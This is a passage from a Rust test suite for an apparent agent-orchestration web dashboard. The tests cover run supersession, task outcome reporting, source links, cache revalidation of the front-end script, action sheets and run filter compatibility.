22668        let by = |short: &str| -> Value {
22669            rows.as_array()
22670                .unwrap()
22671                .iter()
22672                .find(|r| r["short"] == short)
22673                .cloned()
22674                .unwrap_or(Value::Null)
22675        };
22676        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22677        assert!(
22678            by("bbbb")["superseded_by"].is_null(),
22679            "the latest attempt is not superseded by anything"
22680        );
22681        // Front end: the note has to be rendered, not just carried.
22682        assert!(APP_JS.contains("run.superseded_by"));
22683        assert!(APP_JS.contains("Superseded by"));
22684    }
22685
22686    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22687        let mut t = Task::new(
22688            "one task".to_owned(),
22689            "do it".to_owned(),
22690            PathBuf::from("/repo"),
22691            Source::Human,
22692        );
22693        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22694        t.status = status;
22695        t
22696    }
22697
22698    #[test]
22699    fn source_link_picks_the_page_that_filed_the_task() {
22700        let agent = |node: &str| Source::Agent {
22701            run: "20260904-014455-ab12".to_owned(),
22702            node: node.to_owned(),
22703        };
22704        let chat = source_link(&agent("chat")).expect("chat link");
22705        assert_eq!(chat.kind, "chat");
22706        assert_eq!(chat.id, "20260904-014455-ab12");
22707        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22708        let run = source_link(&agent("implement")).expect("run link");
22709        assert_eq!(
22710            (run.kind, run.href.as_str()),
22711            ("run", "#/runs/20260904-014455-ab12")
22712        );
22713        assert_eq!(source_link(&Source::Human), None);
22714        assert_eq!(
22715            source_link(&Source::Issue {
22716                number: 3,
22717                repo: "o/r".to_owned()
22718            }),
22719            None
22720        );
22721        let odd = source_link(&Source::Agent {
22722            run: "a b/c".to_owned(),
22723            node: "chat".to_owned(),
22724        })
22725        .expect("link");
22726        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22727    }
22728
22729    #[test]
22730    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22731        assert!(
22732            !APP_JS.contains("src.node === \"chat\""),
22733            "inline href rule is back"
22734        );
22735        assert!(
22736            APP_JS.matches("sourceLinkOf(").count() >= 4,
22737            "helper must serve every page"
22738        );
22739        assert!(
22740            APP_JS.matches("openChatLink(").count() >= 3,
22741            "the run page still needs its explicit chat link"
22742        );
22743        assert!(
22744            !APP_JS.contains("const openChat = el("),
22745            "the Queue card duplicates its source label link again"
22746        );
22747        assert!(
22748            APP_JS.contains("metaKids.push(link ? el(\"a\""),
22749            "the task page must link a chat source label too"
22750        );
22751    }
22752
22753    #[test]
22754    fn task_ref_carries_the_source_link_for_a_chat_task() {
22755        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22756        t.source = Source::Agent {
22757            run: "20260904-014455-ab12".to_owned(),
22758            node: "chat".to_owned(),
22759        };
22760        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22761        let v = serde_json::to_value(&out).expect("json");
22762        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22763        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22764        assert_eq!(v["source_label"], t.source.label());
22765
22766        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22767        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22768            .expect("json");
22769        assert!(v["source_link"].is_null(), "{v}");
22770    }
22771
22772    #[test]
22773    fn task_view_serializes_source_link() {
22774        let mut t = Task::new(
22775            "t".to_owned(),
22776            "t".to_owned(),
22777            PathBuf::from("/repo"),
22778            Source::Agent {
22779                run: "20260901-000000-aaaa".to_owned(),
22780                node: "implement".to_owned(),
22781            },
22782        );
22783        t.runs.clear();
22784        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22785        assert_eq!(v["source_link"]["kind"], "run", "{v}");
22786        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22787    }
22788
22789    #[test]
22790    fn task_view_serializes_urgent_flag() {
22791        let mut t = Task::new(
22792            "t".to_owned(),
22793            "t".to_owned(),
22794            PathBuf::from("/repo"),
22795            Source::Human,
22796        );
22797        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22798        assert_eq!(v["urgent"], false, "{v}");
22799        t.urgent = true;
22800        let v = serde_json::to_value(TaskView::from(t)).expect("json");
22801        assert_eq!(v["urgent"], true, "{v}");
22802        assert!(APP_JS.contains("task.urgent === true"));
22803    }
22804
22805    #[tokio::test]
22806    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22807        let fx = Fixture::start().await;
22808        let runs = fx.runs();
22809        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22810        write_run(&runs, old, RunStatus::Blocked);
22811        write_run(&runs, new, RunStatus::Merged);
22812        let mut t = outcome_task(&[old, new], TaskStatus::Done);
22813        fx.queue().put(&mut t).expect("put");
22814
22815        let view = fx.get(&format!("/api/runs/{old}")).await.json();
22816        let task = &view["task"];
22817        assert_eq!(task["status"], "done");
22818        assert_eq!(task["is_latest"], false);
22819        assert_eq!(task["latest"]["short"], "bbbb");
22820        assert_eq!(task["finished_by"]["id"], new);
22821        assert_eq!(task["finished_by"]["outcome"], "merged");
22822        assert_eq!(task["closed_by_hand"], false);
22823        assert_eq!(view["status"], "blocked", "the run keeps its own status");
22824        assert!(APP_JS.contains("finished_by"));
22825        assert!(APP_JS.contains("superseded by run"));
22826    }
22827
22828    #[tokio::test]
22829    async fn the_latest_run_reports_a_held_task_without_a_successor() {
22830        let fx = Fixture::start().await;
22831        let runs = fx.runs();
22832        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22833        write_run(&runs, old, RunStatus::Stalled);
22834        write_run(&runs, new, RunStatus::Blocked);
22835        let mut t = outcome_task(&[old, new], TaskStatus::Held);
22836        fx.queue().put(&mut t).expect("put");
22837
22838        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22839        assert_eq!(task["status"], "held");
22840        assert_eq!(task["is_latest"], true);
22841        assert!(task["latest"].is_null());
22842        assert!(task["finished_by"].is_null());
22843        assert_eq!(task["closed_by_hand"], false);
22844    }
22845
22846    #[tokio::test]
22847    async fn a_direct_run_has_no_task_outcome() {
22848        let fx = Fixture::start().await;
22849        let runs = fx.runs();
22850        let id = "20260901-000000-aaaa";
22851        write_run(&runs, id, RunStatus::Blocked);
22852        let view = fx.get(&format!("/api/runs/{id}")).await.json();
22853        assert!(view["task"].is_null());
22854    }
22855
22856    #[test]
22857    fn task_outcome_does_not_guess_a_finishing_run() {
22858        let a = "20260901-000000-aaaa";
22859        let b = "20260901-000000-bbbb";
22860        let c = "20260901-000000-cccc";
22861        let dir = tempfile::tempdir().expect("tempdir");
22862        write_run(dir.path(), a, RunStatus::Blocked);
22863        write_run(dir.path(), b, RunStatus::VerifiedNoop);
22864        // `c` has no record: unreadable.
22865        let read = |id: &str| read_run(dir.path(), id).ok();
22866        // Neither a blocked run nor a no-op finished the task; the newest run is
22867        // unreadable and still named.
22868        let t = outcome_task(&[a, b, c], TaskStatus::Done);
22869        let out = task_outcome(&t, a, 3, read);
22870        assert!(out.finished_by.is_none());
22871        assert!(out.closed_by_hand);
22872        let latest = out.latest.expect("latest");
22873        assert_eq!(latest.id, c);
22874        assert_eq!(latest.status, None);
22875        assert_eq!(latest.outcome, "record unreadable");
22876
22877        // A Ready run settles the task as done, so it is named as the finisher.
22878        write_run(dir.path(), c, RunStatus::Ready);
22879        let t = outcome_task(&[a, c], TaskStatus::Done);
22880        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22881        assert_eq!(out.finished_by.expect("finisher").id, c);
22882        assert!(!out.closed_by_hand);
22883
22884        // A resumed run id repeats: it is still the latest by id.
22885        let t = outcome_task(&[a, b, a], TaskStatus::Held);
22886        assert!(task_outcome(&t, a, 3, read).is_latest);
22887    }
22888
22889    #[tokio::test]
22890    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22891        // The list route has known this since the card fix above; the detail
22892        // route — what an operator actually opens from a notification about
22893        // a blocked run — did not, and went on showing a bare red BLOCKED
22894        // chip for a run a retry had already finished.
22895        let fx = Fixture::start().await;
22896        let q = fx.queue();
22897        let runs = fx.runs();
22898        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22899        write_run(&runs, first, RunStatus::Blocked);
22900        write_run(&runs, second, RunStatus::Merged);
22901
22902        let mut t = Task::new(
22903            "one task".to_owned(),
22904            "do it".to_owned(),
22905            PathBuf::from("/repo"),
22906            Source::Human,
22907        );
22908        t.runs = vec![first.to_owned(), second.to_owned()];
22909        q.put(&mut t).expect("put");
22910
22911        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22912        assert_eq!(earlier["superseded_by"], "dddd");
22913        assert_eq!(earlier["latest_attempt"]["id"], second);
22914        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22915        assert_eq!(
22916            earlier["latest_attempt"]["resolved"], true,
22917            "the run that replaced it landed, so this one reads as settled"
22918        );
22919
22920        let later = fx.get(&format!("/api/runs/{second}")).await.json();
22921        assert!(
22922            later["superseded_by"].is_null(),
22923            "the latest attempt is not superseded by anything"
22924        );
22925        assert!(
22926            later["latest_attempt"].is_null(),
22927            "the latest attempt has no later attempt of its own"
22928        );
22929
22930        // Front end: the detail page has to read the field this route now
22931        // carries, downgrade the chip, and link to the run that replaced it —
22932        // not just repeat the list card's own logic under a different name.
22933        // The link is built off `latest_attempt.id`, the server-resolved
22934        // full id, never a bare short string a client would have to guess a
22935        // full run from.
22936        assert!(APP_JS.contains("run.latest_attempt"));
22937        assert!(APP_JS.contains("data-superseded"));
22938        assert!(APP_JS.contains("#/runs/${latest.id}"));
22939    }
22940
22941    #[tokio::test]
22942    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22943        // A -> B -> C, all Blocked except the last. A's immediate successor
22944        // (superseded_by) is B, which is itself unresolved; what an operator
22945        // opening A's page actually needs is where the task's story stands
22946        // *now* - C, not B - without depending on whether C happens to be in
22947        // whatever page of /api/runs the client last cached.
22948        let fx = Fixture::start().await;
22949        let q = fx.queue();
22950        let runs = fx.runs();
22951        let (a, b, c) = (
22952            "20260901-000000-aaaa",
22953            "20260901-000000-bbbb",
22954            "20260901-000000-cccc",
22955        );
22956        write_run(&runs, a, RunStatus::Blocked);
22957        write_run(&runs, b, RunStatus::Blocked);
22958        write_run(&runs, c, RunStatus::Merged);
22959
22960        let mut t = Task::new(
22961            "retried twice".to_owned(),
22962            "do it".to_owned(),
22963            PathBuf::from("/repo"),
22964            Source::Human,
22965        );
22966        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22967        q.put(&mut t).expect("put");
22968
22969        let view = fx.get(&format!("/api/runs/{a}")).await.json();
22970        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22971        assert_eq!(
22972            view["latest_attempt"]["id"], c,
22973            "the chain's current head, not the intermediate Blocked retry"
22974        );
22975        assert_eq!(view["latest_attempt"]["resolved"], true);
22976
22977        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22978        assert_eq!(mid["latest_attempt"]["id"], c);
22979        assert_eq!(mid["latest_attempt"]["resolved"], true);
22980    }
22981
22982    #[tokio::test]
22983    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22984        let fx = Fixture::start().await;
22985        let q = fx.queue();
22986        let runs = fx.runs();
22987
22988        // Still Blocked: the task is not resolved, so the older run must not
22989        // read as settled either.
22990        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22991        write_run(&runs, still_blocked_a, RunStatus::Blocked);
22992        write_run(&runs, still_blocked_b, RunStatus::Blocked);
22993        let mut t1 = Task::new(
22994            "still stuck".to_owned(),
22995            "do it".to_owned(),
22996            PathBuf::from("/repo"),
22997            Source::Human,
22998        );
22999        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23000        q.put(&mut t1).expect("put");
23001        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23002        assert_eq!(view1["latest_attempt"]["resolved"], false);
23003        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23004        assert_eq!(view1["latest_attempt"]["done"], true);
23005
23006        // Still running: the successor exists and must be reported as such.
23007        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23008        write_run(&runs, run_a, RunStatus::Blocked);
23009        write_run(&runs, run_b, RunStatus::Implementing);
23010        let mut t3 = Task::new(
23011            "retrying".to_owned(),
23012            "do it".to_owned(),
23013            PathBuf::from("/repo"),
23014            Source::Human,
23015        );
23016        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23017        q.put(&mut t3).expect("put");
23018        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23019        assert_eq!(view3["latest_attempt"]["id"], run_b);
23020        assert_eq!(view3["latest_attempt"]["resolved"], false);
23021        assert_eq!(view3["latest_attempt"]["done"], false);
23022
23023        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23024        // to check - not a confirmed finish, so this must not read as
23025        // resolved either, even though the run is done in the sense that
23026        // nothing is still running.
23027        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23028        write_run(&runs, noop_a, RunStatus::Blocked);
23029        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23030        let mut t2 = Task::new(
23031            "claims done".to_owned(),
23032            "do it".to_owned(),
23033            PathBuf::from("/repo"),
23034            Source::Human,
23035        );
23036        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23037        q.put(&mut t2).expect("put");
23038        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23039        assert_eq!(
23040            view2["latest_attempt"]["resolved"], false,
23041            "an unverified no-op claim must not read as a confirmed finish"
23042        );
23043
23044        // Front end: an unresolved successor must not carry the "finished
23045        // this work" note or the muted chip treatment.
23046        assert!(APP_JS.contains("latest.resolved"));
23047        // ...but the link to it shows as soon as it exists, labelled by state
23048        // and without the "finished" wording or the muted chip.
23049        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23050        assert!(APP_JS.contains("Latest attempt: "));
23051        assert!(APP_JS.contains("in flight"));
23052        assert!(APP_JS.contains("not resolved"));
23053    }
23054
23055    #[tokio::test]
23056    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23057        let fx = Fixture::start().await;
23058        // No cache header at all meant browsers invented their own policy,
23059        // and one did: a phone went on showing "Candidates must be folded
23060        // before deleting. Run `magi fold` first." - deleted two releases
23061        // earlier - from a deck that no longer contained the sentence. The
23062        // button it named was right there, and unreachable.
23063        let js = fx.get("/app.js").await;
23064        assert_eq!(js.status, 200);
23065        let tag = js
23066            .header("etag")
23067            .expect("an etag to revalidate against")
23068            .to_owned();
23069        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23070        assert_eq!(
23071            js.header("cache-control"),
23072            Some("no-cache, must-revalidate"),
23073            "the phone has to ask every time"
23074        );
23075
23076        // And the asking has to be cheap, or `must-revalidate` just means
23077        // "send the whole interface on every load".
23078        let again = fx
23079            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23080            .await;
23081        assert_eq!(
23082            again.status, 304,
23083            "a deck it already has costs one round trip"
23084        );
23085        assert!(again.body.is_empty(), "304 carries no body");
23086
23087        // A weakened tag from a proxy still matches; a different build does
23088        // not, which is the case that has to deliver the new interface.
23089        let weak = fx
23090            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23091            .await;
23092        assert_eq!(weak.status, 304);
23093        let stale = fx
23094            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23095            .await;
23096        assert_eq!(stale.status, 200, "an older build must be replaced");
23097        assert!(stale.body.contains("renderRunActions"));
23098    }
23099
23100    #[test]
23101    fn the_task_detail_has_an_actions_fab_and_sheet() {
23102        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23103        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23104        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23105        // Shown only on the task route, closed everywhere else.
23106        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23107        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23108        // Refreshed whenever the detail redraws, including the loading state.
23109        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23110        assert!(APP_JS.contains("renderTaskActions(null);"));
23111        // Same renderers and routes as the Queue card, no new endpoint.
23112        let sheet = APP_JS
23113            .find("function renderTaskActions")
23114            .expect("sheet renderer");
23115        let body = &APP_JS[sheet..sheet + 3000];
23116        assert!(body.contains("changePriority("));
23117        assert!(body.contains("openTaskEdit(task)"));
23118        assert!(body.contains("renderTaskHoldBox(host"));
23119        assert!(body.contains("renderTaskDoneBox(host"));
23120        assert!(body.contains("renderTaskDeleteBox(host"));
23121        assert!(APP_JS.contains("API.priority(id)"));
23122        assert!(APP_JS.contains("API.deleteTask(id)"));
23123        // A deleted task sends the operator back to the queue.
23124        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23125        // A refusal is shown inside the sheet.
23126        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23127    }
23128
23129    #[test]
23130    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23131        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23132        let actions = INDEX_HTML
23133            .find("id=\"run-actions-box\"")
23134            .expect("actions box");
23135        assert!(task < actions, "the task entry comes first in the sheet");
23136        assert!(APP_JS.contains("renderRunTaskEntry"));
23137        assert!(APP_JS.contains("\"Open task \""));
23138        // A run without a task says why there is nothing to open.
23139        assert!(APP_JS.contains("started directly, no task"));
23140        assert!(APP_JS.contains("sheet-task-link"));
23141        assert!(APP_JS.contains("task-chip-link"));
23142    }
23143
23144    #[test]
23145    fn the_deck_never_sends_the_operator_to_a_terminal() {
23146        // The whole point of the phone UI is that a terminal is not needed.
23147        // The delete control used to answer with "Run `magi fold` first."
23148        assert!(
23149            !APP_JS.contains("Run `magi fold` first"),
23150            "the deck must offer the fold, not prescribe a shell command"
23151        );
23152        assert!(APP_JS.contains("foldRun:"));
23153        assert!(APP_JS.contains("resumeRun:"));
23154        assert!(APP_JS.contains("renderRunActions"));
23155
23156        // Folding is destructive and armed in two steps, like deleting.
23157        assert!(APP_JS.contains("armedFold"));
23158        assert!(APP_JS.contains("Yes, fold worktrees"));
23159
23160        // And the copy has to say that the two actions are opposites, because
23161        // folding throws away exactly what a resume would continue from.
23162        assert!(APP_JS.contains("can no longer be resumed"));
23163    }
23164
23165    #[test]
23166    fn a_finished_run_explains_itself_with_its_own_last_line() {
23167        // The deck used to answer "why did this stop?" with a sentence chosen
23168        // by status alone. Run e633 stalled because two judges answered with
23169        // the wrong JSON shape and its card said "The panel collapsed on
23170        // agent quota" - with `quota: []` in the record and a quota-loss
23171        // counter right above it that correctly said nothing.
23172        assert!(
23173            !APP_JS.contains("collapsed on agent quota"),
23174            "a stall must not be explained by a cause the deck did not check"
23175        );
23176        assert!(
23177            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23178            "and a block must not offer a guess with an `or` in it"
23179        );
23180
23181        // The reason it does have is `run.event`, which must reach finished
23182        // runs: gating it on movement hid the recorded truth at the one moment
23183        // the operator is reading the card to find out what happened.
23184        assert!(
23185            APP_JS.contains("setText(r.event, run.event || \"\")"),
23186            "the run's last line is rendered unconditionally"
23187        );
23188        assert!(
23189            !APP_JS.contains("moving && run.event"),
23190            "and never gated on the run still moving"
23191        );
23192
23193        // Quota keeps its own counter, fed by the number actually recorded.
23194        assert!(APP_JS.contains("lost to quota"));
23195    }
23196
23197    /// The runs tree (section) and the state chips (waiting/done) are two
23198    /// independent lenses ANDed together in `renderRuns`, and some pairings
23199    /// can never both be true for any run - every "Landed"/"Ended" run is
23200    /// done by construction, so pairing either with "Active" or "In flight"
23201    /// always rendered zero cards with the filter bar still claiming
23202    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23203    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23204    /// a handful of (waiting, status) shapes standing in for the run
23205    /// lifecycle, because `cargo test` cannot execute the front end.
23206    ///
23207    /// That stand-in list is itself the part that drifted twice in review:
23208    /// once shipped with `waiting: true` paired with a done status the
23209    /// lifecycle cannot produce, then over-corrected into treating every
23210    /// waiting run as never done - which made "Waiting on you" look
23211    /// incompatible with "Done" even for the one real, reachable shape
23212    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23213    /// that combination. This test parses the shapes and the done-rule back
23214    /// out of `APP_JS`, reimplements `runSection` and the five state
23215    /// predicates independently in Rust, and checks the resulting
23216    /// section/filter compatibility table against the lifecycle rules by
23217    /// hand - so either direction of drift fails it again.
23218    #[test]
23219    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23220        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23221        let shapes_body_start =
23222            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23223        let shapes_close = APP_JS[shapes_body_start..]
23224            .find("].map(")
23225            .expect("the shape list is closed by its done-computing .map(...)")
23226            + shapes_body_start;
23227        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23228
23229        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23230        for entry in shapes_src.split('{').skip(1) {
23231            let waiting = entry.contains("waiting: true");
23232            let dead = entry.contains("live: \"dead\"");
23233            let status_at =
23234                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23235            let status_end = entry[status_at..]
23236                .find('"')
23237                .expect("the status string is closed")
23238                + status_at;
23239            let parked = entry.contains("display_status: \"parked\"");
23240            shapes.push((
23241                waiting,
23242                entry[status_at..status_end].to_string(),
23243                dead,
23244                parked,
23245            ));
23246        }
23247        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23248
23249        // The done rule itself (`!["implementing"].includes(shape.status)`),
23250        // read out of the source rather than hardcoded, so a renamed
23251        // in-flight status can't silently make every parsed shape "done".
23252        let done_rule_marker = "done: !";
23253        let done_rule_at = APP_JS[shapes_close..]
23254            .find(done_rule_marker)
23255            .expect("the done rule follows the shape list")
23256            + shapes_close
23257            + done_rule_marker.len();
23258        let includes_at = APP_JS[done_rule_at..]
23259            .find(".includes(shape.status)")
23260            .expect("the done rule ends in .includes(shape.status)")
23261            + done_rule_at;
23262        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23263            .trim()
23264            .trim_start_matches('[')
23265            .trim_end_matches(']')
23266            .split(',')
23267            .map(|s| s.trim().trim_matches('"'))
23268            .filter(|s| !s.is_empty())
23269            .collect();
23270
23271        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23272            .into_iter()
23273            .map(|(waiting, status, dead, parked)| {
23274                let done = !not_done.contains(&status.as_str());
23275                (waiting, status, dead, parked, done)
23276            })
23277            .collect();
23278
23279        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23280        // outright, then merged/ready land, stalled/blocked/failed/
23281        // verified_noop end, and everything else is still in flight.
23282        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23283            if waiting {
23284                return "waiting";
23285            }
23286            if dead
23287                && !parked
23288                && !matches!(
23289                    status,
23290                    "merged"
23291                        | "ready"
23292                        | "stalled"
23293                        | "blocked"
23294                        | "failed"
23295                        | "verified_noop"
23296                        | "superseded"
23297                        | "already_in_base"
23298                )
23299            {
23300                return "stale";
23301            }
23302            match status {
23303                "merged" | "ready" => "landed",
23304                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23305                | "already_in_base" => "ended",
23306                _ => "flight",
23307            }
23308        }
23309
23310        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
23311        // way.
23312        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23313            match filter_key {
23314                "active" => !done,
23315                "flight" => !done && !waiting && !dead,
23316                "stale" => !done && !waiting && dead,
23317                "waiting" => waiting,
23318                "done" => done,
23319                "all" => true,
23320                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23321            }
23322        }
23323
23324        let compatible = |section: &str, filter_key: &str| {
23325            shapes.iter().any(|(waiting, status, dead, parked, done)| {
23326                run_section(*waiting, status, *dead, *parked) == section
23327                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23328            })
23329        };
23330
23331        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
23332        // (active, flight, stale, waiting, done, all) - hand-derived from the
23333        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
23334        // currently contains.
23335        let expected = [
23336            ("waiting", [true, false, false, true, true, true]),
23337            ("stale", [true, false, true, false, false, true]),
23338            ("flight", [true, true, false, false, false, true]),
23339            ("landed", [false, false, false, false, true, true]),
23340            ("ended", [false, false, false, false, true, true]),
23341        ];
23342        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23343
23344        for (section, wants) in expected {
23345            for (filter_key, want) in filter_keys.iter().zip(wants) {
23346                assert_eq!(
23347                    compatible(section, filter_key),
23348                    want,
23349                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23350                );
23351            }
23352        }
23353
23354        // The compatibility check exists only to be acted on: both pickers
23355        // must actually consult it rather than just render its answer.
23356        assert!(
23357            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23358        );
23359        assert!(APP_JS.contains(
23360            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23361        ));
23362        assert!(APP_JS.contains(
23363            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23364        ));
23365    }
23366
23367    #[tokio::test]
23368    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23369        // An operator-named directory - git checkout or not - is never
23370        // second-guessed, even when it does not exist at all: only the
23371        // flag's own unmodified `.` default is ever eligible for discovery.
23372        let dir = tempfile::tempdir().expect("tempdir");
23373        let explicit = dir.path().join("not-a-checkout");
23374        std::fs::create_dir_all(&explicit).expect("create dir");
23375        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23376
23377        let missing = dir.path().join("does-not-exist-at-all");
23378        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23379    }
23380
23381    #[test]
23382    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23383        assert!(APP_JS.contains("function statsDonutArcs"));
23384        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23385        // A bucket click filters by the statuses src/stats.rs counts in it.
23386        assert!(APP_JS.contains("function statusInBucket"));
23387        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23388        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23389        let buckets = [
23390            "merged",
23391            "ready",
23392            "in_progress",
23393            "blocked",
23394            "failed",
23395            "verified_noop",
23396            "superseded",
23397            "stalled",
23398        ];
23399        for key in buckets {
23400            let var = format!("--verdict-{key}:");
23401            // Light, OS-dark and pinned-dark blocks each define it.
23402            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23403            assert!(
23404                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23405                "{key}"
23406            );
23407        }
23408    }
23409
23410    #[tokio::test]
23411    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23412        let dir = tempfile::tempdir().expect("tempdir");
23413        let queue = Queue::at(dir.path().join("queue"));
23414        let talks = Talks::at(dir.path().join("talks"));
23415        std::fs::create_dir_all(queue.root()).unwrap();
23416        std::fs::create_dir_all(talks.root()).unwrap();
23417
23418        // Put a corrupt json file in both stores
23419        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23420        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23421
23422        // Valid task and talk
23423        let mut task = Task::new(
23424            "title".into(),
23425            "inst".into(),
23426            PathBuf::from("/repo"),
23427            Source::Human,
23428        );
23429        task.id = "20261019-123456-abcd".into();
23430        // Write manually so it's a valid file
23431        std::fs::write(
23432            queue.path_of(&task.id),
23433            serde_json::to_string(&task).unwrap(),
23434        )
23435        .unwrap();
23436
23437        let talk_id = "20261019-234567-cdef";
23438        seed_talk_at(&talks, talk_id, "open");
23439
23440        // Exact match should succeed without failing on the corrupt json file
23441        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23442        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23443
23444        // Prefix match should also succeed by scanning file names without deserializing corrupt file
23445        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23446        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23447    }
23448
23449    #[tokio::test]
23450    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23451        let home = tempfile::tempdir().unwrap();
23452        let ui = delta_test_ui(home.path());
23453        // A full history traversal would fail even with no questions.
23454        std::fs::write(ui.queue.root(), "not a directory").unwrap();
23455        std::fs::write(ui.talks.root(), "not a directory").unwrap();
23456        assert!(
23457            questions_list(State(ui.clone()))
23458                .await
23459                .unwrap()
23460                .0
23461                .is_empty()
23462        );
23463        assert!(
23464            question_origins(State(ui.clone()))
23465                .await
23466                .unwrap()
23467                .0
23468                .is_empty()
23469        );
23470        let mut question = Question::new(
23471            "run-history".into(),
23472            "review".into(),
23473            "seat".into(),
23474            "Useful question".into(),
23475            "Useful detail".into(),
23476            vec![],
23477        );
23478        ui.questions.put(&mut question).unwrap();
23479        let core = questions_core(State(ui.clone())).await.unwrap().0;
23480        assert_eq!(core.len(), 1);
23481        assert_eq!(core[0].question.summary, "Useful question");
23482        assert!(!core[0].can_consult_chat);
